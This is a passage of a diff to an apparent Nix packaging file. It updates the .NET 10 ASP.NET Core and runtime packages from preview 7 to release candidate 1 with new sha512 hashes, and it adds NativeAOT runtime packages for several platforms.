+        hash = "sha512-ed/97KH2jVc0oedjN2EbzkMpiynEMr6YEhQWvGE0NKugdGLLR6Z72b1NyImy64UOs2FZX3zWg7tBBq+rDwlo1A==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-VbIqcklAsQYAAV5CTXo/6NAa6lkirCeh1XF7Yo2D6xZmkwLbQsKfNF1jpiwYr6luiVwJCkIA6p/owsPAZT42gA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-LzquzSN4IqJg/EADkUT8l+PCgGyuPcb2K80Oq9MXSgAEVCD2SRd3GepER785CpIlZfeXQsd4lsaklBo7GSoTBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-H5a0wdzBU4tWXtTkYcgHsezWolqD59sDLSlDdOGE/OF7p3X1AijCo1BKCb/ub+Qn24dXoS7RGQf4TwmPP/fDdw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-IFge3TxF+cZHd1z2RPokKpGiqNtSp2WtGza0HX9RYRHewP0hARf0d3hq1bDQAMLjJxf8mvoakDoH190dyXQITA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-DpKE33FA9NYJXAY5SbKcIfAvU5RyH30YqhCXxHi/NYfEcR6e5hrzn4992S6TpUQzeYHeJHprfXEQGK+x8bWTqg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-0G7roKbZ3URRaC+cOLAGkGADaZpUD4AJoYJBVnaH3HRsizbG7gASjmLfEiN6kvMnJI9Wf6K1f2yXVQeBryIzdQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-prERCrIwyGg735ahEDi15HwriaDnwZlQidlFkiDSOuh4EJTXLqbYvwJxSygCNIgKAivNEwt5HuqAR0WxIzxLJA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-oWghxDXOEcNSUvjUuH+2OfqT0A1+MWf8YTNwMgRsxKQR/1XFtKthjR2oNnji7Jy3+2Tigmh4qeOOqk5VFNWeIg==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-AXyNqsmO+buzieRznlOThn0IiFWyTKInH9+7yq6EceZUFBmEanPrgKDZAOxqSjJ6wtOPo4vBkKhO0/7JB8kOeQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-gI8nk0A8LtN/NXufax5tgmoxnAFvG9SUA+yGfBz82HlAvwZkWeQsNjZav06LsIdBgY+34oJqPfhGFWki234b3A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-siYdx85ZKIejQRsVe2+kQi9b2u1/6PXu0meoCoG/VQdl3zVXueKCsZwZne3yCou4lvxX+PnnGkYXk2tr9vVf4A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-6deTINJifUd+6BioAPScqa94hbH35wweO3UazZ0Dob4GFoSxD/z7jUjRIib/HmyhXz+F/QMOZapPNN+qNsmEPg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-bOcl+8cIvTOtlYHJaHA9A5ebYma4XYjv2L3ziW+gG9HTOAgJjs82ql5RF7yRnHc/dPfvteeAOQzmaNJYFA7yvQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-T93T3DT3SakSQcwaB9SFTT6R38hEh0/52bM+4IqvFAo1EAKx3eXiKezE3bMSjOGKHxKzb71Rp1d9Jflv6capLQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-nRq3fnqsD3vc7M9GewuY8eX9spFG10t5NbrBAwMZ0EyZXbN5oj8oX+O3croxGLvmED9E4OhTY5Fn30EoKTnYMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-dnHqxZvkLe4SubfrXiPhb08qkj2FOrdCBWLHo/Hd+pSop3C86rCTRJY454LrPwjnktjnQf/X0b4anadwOkckrg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7uMe/dvlcUoQbQ4U4V1esj2kdzR+d2G1IDqW7PEO46Je7alN9dGCaFjrYfg4H16g2p/nkguqregXXt51Nv2Tog==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-65sKH2vG/00xutyEIPB9exGkhpG4cwlYvkty6AdI/2g7Zvfke5WT2UW2aME9vVEmB4Zn+gNDTaRjRyFVK3n7SQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8r/yMsXff3vlFUaRzlHKnkd/qxmbo6FzATU4d065j8YTNZcduF/uKiOKijwXSd96nj216RjCUIJWrcH72c5H6Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-wAhZFtY3E/JEIfkGdX/P2MzYj09G1tDrPi4+zaCxFjXzgcxfU6vLPNzaR/EMQb82ibluhiriFTG1aeCJBd2qpQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-D6qubx3bzbfdDMJw1CcUJdPR2w2oHmOt/ur4q4Pi8cdFueROux3u2bcuurKmx2eZvHhYVKnL1njTxWDVHUM1OA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ALDcdrSuoBXDekpuPy3J+RS8vu6d3vt5HTaZkfT6VpJGotv9qq7cvm6kZ10VfFmZ//UbC8LibDsJk/jbzGf0LA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-neXYzUGCn4zBhHa4+9NgG6c0ulwsfGczrrH2hqJcwf16fNtBgfe9L+JnwRctrVVe7iOci/qYh69c36OlCsREug==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-2MkZiOoWMIBfx1a/lN3Yz4qWszpjkynS6LR4nT89uCjk4riE+xpx2JQb5FDxVfxLFBoYlis4wyMmSrqLSd1pMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-D8SDjyznO8H+3w5eAuL1pl+JZ+4S8eXM8gIMuNaDXvBZv43lU2by27Gk+Ue4eH5zV+462fBtBvqZtaETgfPsgQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7x0L8WWLcShkEROnccmVsvAEB11yfvV21lngDLlgWPKH7b/YBHjziS4rlN6pzuA1xozViQkUByyiRaMIwRm4iA==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-x64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-kl/eWcRGhOnIFhwPexi0qRLw2x/hV7SNkX9FyasNUkYi/6HwMOBViB7RnZe1iV4NRZF6153Nv7Z949/DkUFb2A==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-vk6trHjpJkCveABOceuodbxeAefojPqaUCGwU6HXinNgu281I/iEF7Afj6mJBLHxaPcvlFQjAjbRhll1SwcSNw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-LNwqyHG1K2o2olSjErf8m+O6vxh3iPHLu05s4GRDYjyUz5uaunEwKVi3m7Nj3EmlQdxnfrpoLH3cfXuA7/mNsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-r1LB1Ilq1/Pf71SubpoHU53s5bjfHY/TLQUhG2R3AGFMe1S2J6H35pkXuCdwBH+x99AX4khX1zw00BCYP5liVQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-1YxkbUSrVZXo2IXlIrB0z3B0wrkHtgIcVn1M+7b7qM0Si9KGFkZzsI7T2X7CQwW01jpRbv1NcQW8A528i1DOWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ovDMqhvYv4o6P/AjvAh26EcSs6auYHe4YBgWF7SBLgB/r1xOvjlRZRuVL7znu/js0CwTH7h8w/YvW+q1+Tzw/A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z5Rhv4e0FljV3m+w4F0Ek4SMuRMpvDs/tsrYmwZboj7KAECrQ7PXWee93FbcecK6Tu64ZtvsU8fkWmffRqfp+Q==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-K7jCpNm0lYr/dHheLoaPadsd9q8oQ0X+iK/rJkeKrZ76FLzAvcC1FqX9yXICwAW44m63bXcmg0ggra1+yXx0/Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-McSCf7ELjtNy6gbV2EFU+D1XEi7lw1xI2eqv8VGqX8FyOHlC1nofhyb0PLd7OQLelQpR9Xajv1JuhzUtPkhgPg==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-arm64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-RmJ88+HJ9AqPIMwIlJs/Qujmab64997iyQ3kKdORrFIezKd85+zKgHbnM+CUbxAzqpBNufECmhWm7oXMjyoPTw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-R7g8lya69aqDY/iAIIoX8TnbxEJxBIxvuqD0zrcEuJgRh33b2xys9OAT2NmyZH3GWdTZ5UPiolJ2SifKNE1ztQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ORvugqCwtaRhQ1T9v9LPNI1TO0R3WUYsCyHPU+eBSmoesTql5/I6fEVqyuRrKGf94PlJAyY2w6tSeluV45B9ow==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-tPbKNB5TVRIAHyts6RMV2AP7pnmO/1MRtfTByCqTkTjH945dJ8+2r4ytMIoQ3ooVLi00yll9w2tDL+XnuNT3xw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-sK/K13o1GY/6MWR0ZrqhhnG9wXtZSISTSXOo8hA/SL/OXEyucXlXyxgXaF5bGtwnUjgibObA5B+4Z8RJlMal0A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-W18K405wGThiTnn12Mi0K6KXznjPZX87mX9APiq+nbKIsMmGC+r7cyIPgy9hmggnTb3qqv1p/0PACRD6NXm0CQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-um50+EJ40pHY1ufx5lcVPWjl5eWfHF8Jg/d90XMRD69R1DJ8oOhPTWYSlia6F1AWyW/DQ/ncf4SphUzLNFpdOA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-K7fKG8YuufAgq6VcvotJH/D4uHmcjg/X9TwWq8EmbyysqyNCuMkg6a1torpyaomdooKSZ0LSOodqbo57B6jERg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-0OuXkUPLTxK9aOijYilEOvJI/wAA9ohXy7Y10tRwaNX70oNkUA8C5VUuW1rrdMqhrGk1tLaE98DrN9IXXyP3ag==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-x64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-B8T4TBq/pkJxzqC/GgJ4UmV1xEeMsLjnnyeaFWXfN06HGrlIumFLR0GQu5PFmwEDjgS9m+sJ1m2CYP3FGAeaRA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-alvGXGuLfWb35dOybu83zGbH9VyIJRf17FEhF6yrNGvg8gJ3SwpU/N2uGnuxI1TIb8dFlKq3FoE2hqfxWAERKA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-46d5U65sw8Qr2qXegWUtZ822g+AYLGMNo+BVKnU8xZQNyom7Kib0bFHnqJ2b0vQtYP/Z0tEhOvKc7cwu1Yox4g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8345qvf7b3Q8hoqXErpJTWQeLmBV3GFUNa/hp8eCglnY5WWbnfd/muQAdA5zUoOX/8fMA4TILhZx2K0M8k1/mw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-RdNmEOu3U0aPwLKL0mTo48/Ou9RBg/3lVcp21iVQyqDmqRBJSSWnxzPwqQURUvY8GbYb//gSezJYBll4BgqgRg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-um95x3i3Jdyat4T6HTXP9I0STmsqJyuTWmZwCg/5EPNWMX1fm/OIFIoUQ9lX2kplPyq6Ys0hmiBaVcHOHGThgw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-yDZ/fSQckLPS0rsYRBMIgAMcm1ZJspToWoHrM2OuMjkoZU8JPGebekOAmW19EsAz9NzEiVoAae4vOVCQSQEWAA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-LneCr0cNCIEYVfDI2Ab++j+baaKut+pqTsCb3R9FAp9pqYVXveSEXn8V4xx+N0i//SQx4i9Dkd+oYGERun9k2A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-OEb/13XW+yXDYWTZIV9qspJ/ahWY5j7UdJo+vuwW6VOxHv234ZHHh9jV6jQxFxkipaq7FgtWXUqk4oBDGVF7/g==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-arm64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Le2dxO6rTOvCVdWoITiMzo9H8oTWqyOHW+dvU6dXNVVNHnM3N40ppXKaDjA7jhFc0kJUjrTj2anQcdSFdmgUzA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-xr4GBhH7aIMfPXjv+CuGZI3h1PZc+yETwn3/9UMOXXNxgM1zrkCR1p4I8rQNpwVPd440P8pReq2AWrdbLX7kTQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-G9CQRcLF8jfnqWkqXdrVTGO9Z5Jie4HTJZ0MUJl9wlIbKT+U2gPQq0PPEHOtPkbuQuJHyxFg/v/i9Dy8/v41QA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-slvRNr3ZPyyGLrOFEPVF91TD6BJcC7/UKrowVg0XGq37IxTeicrNLhs7PE8qmVGBgUTiKcqxEU7DXI2/qBh9nA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-GHAP5bqAaWMg5SlrQNPJxSsCKM7Wc8JfFBDxJKdwBFe+zb7WHJdk4cNftM2HKlM9aFaljKVx5zyLuky1yI8fTw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-1JBZRsQMZ4mCN0rS+F6wwP7s7+es+uwx6hG9ubUuccJYjCEAWwDg3vBVAbQqwMOF9rdbqOLFbkbvawOT7BHAaw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-grvZytFhVIuIOicS6Fdbf2YMqZ7rZ8TbIac4MBeDDlTWkCO62EbL+lUZbUStHnmnDdOnkOa2OtNsuCQCKr5ftQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-8fiTrOmlVMojv2oFxSO4zKP0Mz+3HazxfqBFBbgioN+/dMNiCa6ql3Sm0kp88Qmfcb68PwhWCJLy3x3XHLEUuA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-EciQy/vlJDOXBDDvCiMfwdRmrqL8p6K5DahT3cjJ5R2g0vVDQ9M3oEUqjQhqIhNZddL3EVqaAIr/JVk9DW4NXQ==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x64";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-lBu7jV6lNTX2YJ+sNh25yvQh/15zw1vrzMZy7zypuXi7dwy4TNCf1AyJzc4YYTpkVAsQLStEofQhZ8acNweY6g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-t0G1lpmSy3Bb/0k4riHo+oT2h53IbHHC92oy3Mnxg2Nm/ZBoGDW55/maB5lF+IbEoNsScpAhsFNf7gAv5KPOhw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-c1BeA+VI35IumWblDAB7kXHPTWA/CBexyySFbT5MizGa8tcjL3RPr5sYctyAN3wQ+bt47X1XpWxibBzERXj6qA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-Xgu9wAHojyPC6/9OhNk4Bpmhmb4FAcJMMb3S7xwwPFuEx7pKSCPOA/3Gv/8xR3w3lYoMhvs94Jn4zzLPw/d46A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Pa2P9F6OZ8GTmGk4hPqBq0av9r11gicHEteG0l8tV+8vpvbcwFGDS04dYJkDehoCMhyDpVI1N1h2oEzN62bSGg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-FDFqh+DYEYnPZjLzODbygevvyrQH15WVg/pcDbiFlE0dsoL7LQ3ST3G6Vz5GfpAZyO0A8O7ekGOH81+wskmeiw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z2Hcf39NRB0bZwVZ5y3Wf8ETRkGCxkCjh9VpNlHUctWxYzGkGi9/Rei6wJNVh/XT1zhyN5eh3uH8SukbfCErzg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-npZ0pXzs+1mOb/G8asxE4QYUrrQlvuVjO24sgaqgQ/o8Ir3m1jTxXhETRj7IXKiPiVMIaLPV+c3XtpdDKouH9A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-mzXyLP0VOi4QTII1lfVoDx/vZ/1SQD+cDsjjcNDdPLr3ufptEg2j2SAFnvKyurOnzlbnZdO1ogip0VLGYUFnyw==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x86";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-7vF41HU0xbpHBA7IX3Fs0HtKOgtXplTIkPWJ1FOpDxjH/R6xPCWxv8sRUNeh8SGhs7mGpf7rwcDGIEIapVLcBQ==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.7";
+  release_10_0 = "10.0.0-rc.1";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.7.25380.108";
+    version = "10.0.0-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-lXwjay3tSsk2fperQsxjo28PeydYBQA552QN/aOCTlpl6/LTB2L8diIqgdGUpJ593riZcUo3vCjbZwjY1bGC7Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-gQWKGGYpZ+glr9syJBA/2xEc4cD8MDCFfGLMStHHAW9JdH1zPXWM4eyoAXLeJmyBEmr4mB6+HA1d9yZGZPm2eg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-gTWO1Grf/RpOLglePSPWfR0ommxMUKsg4ecRYbKCPIxE3VpsJBrJs/zUoq9Rjb/7zNt7Os0HpCr5/yTF/WLGow==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-vYa6xIQFCE/sthAmDmCh9kXeRV368gjK7JdxrxYP0de9yZpKH4gWnBzvdZVTbVXcVxRyynoVkoJx1ArkX97e+g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-9onzhvf6Vrm1O9fVEKvs8rnCI1j7KTZ4RsI/u6ewphpH2G287vlrc6corwduVcNGg4SXQC4M2AuGldncHqPCuQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-x64.tar.gz";
+        hash = "sha512-0iGYUMq3POvjYlo+UyHGfikh07/vtsI4BEoh2KlcoHynMVB7p8AnqLA/6O66fyPY2ITTTwJDfWpYMEI0hAU9cA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-uJ0bnKWphyzzZ3dKLKUVKkLtht7MGMWTsQSINGPOXPrKamn5F0SaArTSXqQVj4IqNqwNZVxTjBhOR611EYbs2w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-AGgWPjB0ejP5EVLthi8okS/4A9rxK9kVpS/rL/0GqLFTwMidnbllZ0oR/9ct8rE8uikSTCqXkL3jjWDelxrNeg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-cAY0HJWlGRCm7gLVgemkHXZGSn777QrXedDmT8DXfEK70jNTf1fXb28P2zh/biVZK6UzYmcKXm7+1ho3TkIc7A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-0w4mUoypPzUn81NduD4eGazxLXhwj0si9c4pdTS0fYMHqeNGpYgqrxWfpzuATN9x9cWeLtOUjKuu1cc3kQr7NQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-wRf0SCHNbFWna7nr/HRlYG04rInIEO4iSys6D/T1q/Ld27sZVoOeZyrrpPlR3wtax/GTXSqQttTc3cEep8M7UQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-hs//dBAVHciEJ9C5x5UZTnnYE5Ya+SoCYE3UenPIemLMtsvf1m7824oQlu59FTjFNfgBbXZ6Gbz3jM26vs8X4A==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-D5iye4E6etLrWkCOe9sf/97fheARsEmF6QCV3ikW2qTDQhSsPPmgZvSbPn7gnVbXP56aGFjHHv+JAMxBRf0yVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-4erPMY9DFFB8uXn7jw7ldK1FCumPa+K8CzXcSt+EeKq0vs1q98DSrFaCundnoRkKT7X8mze2a1rTYmBt2YGk1g==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-FQLipaTYahQwhA2TGknRX/07ZEZeV9IdcURItxlpz7zmU4LvgoJg8Wlt1GxAnzwD9riuenLlFWe0RMoQuoreoA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-rc.1.25451.107/aspnetcore-runtime-10.0.0-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-XWSTyx94DCBb0hjJmQ7p6KvES8gdho0ZYEbWj/MN8LcHJe/67i7jez6CrnW7DRoUtWwKOWQreubQp1LGvJ6piw==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.7.25380.108";
+    version = "10.0.0-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-oyaRhovGFTGjL6O78RNBZGrFFBasUvaACTxXfTO2ODBqJqCjJ5poaoZUPg8v3MoOegfzYIF5UpRdybRt4pyXCQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-k5DvoQVATX3xd52jDNO5Ufta5oFU4dzqKA9BclduVGpOJuEWgqgHi4N+CWWoDgbqxdrLtWzXBFpEzP65AdJisw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-tTAequEUCb2/MZg7xpk39w3RezVe84D0yrMX6SHl1mFiZCzVfRmhT7ug78CadjNcbl8u6ZimDErHYssXJR04QA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-jXbk5mWvff26Xkoxy28buxh7wrm43lZe9e1xV2ja6FkSMEKvezhHZAltDLiaPWCfnkm8J8Ip0sEWVM1IiJYmPw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-EnSHIJyzxKOUhHzO1aFduMW2bJOGboi0pweJ6iyQtB4pk+ANkZLUupiPM928iaXKL+TxmmEdftitjD4KRpLFAQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-x64.tar.gz";
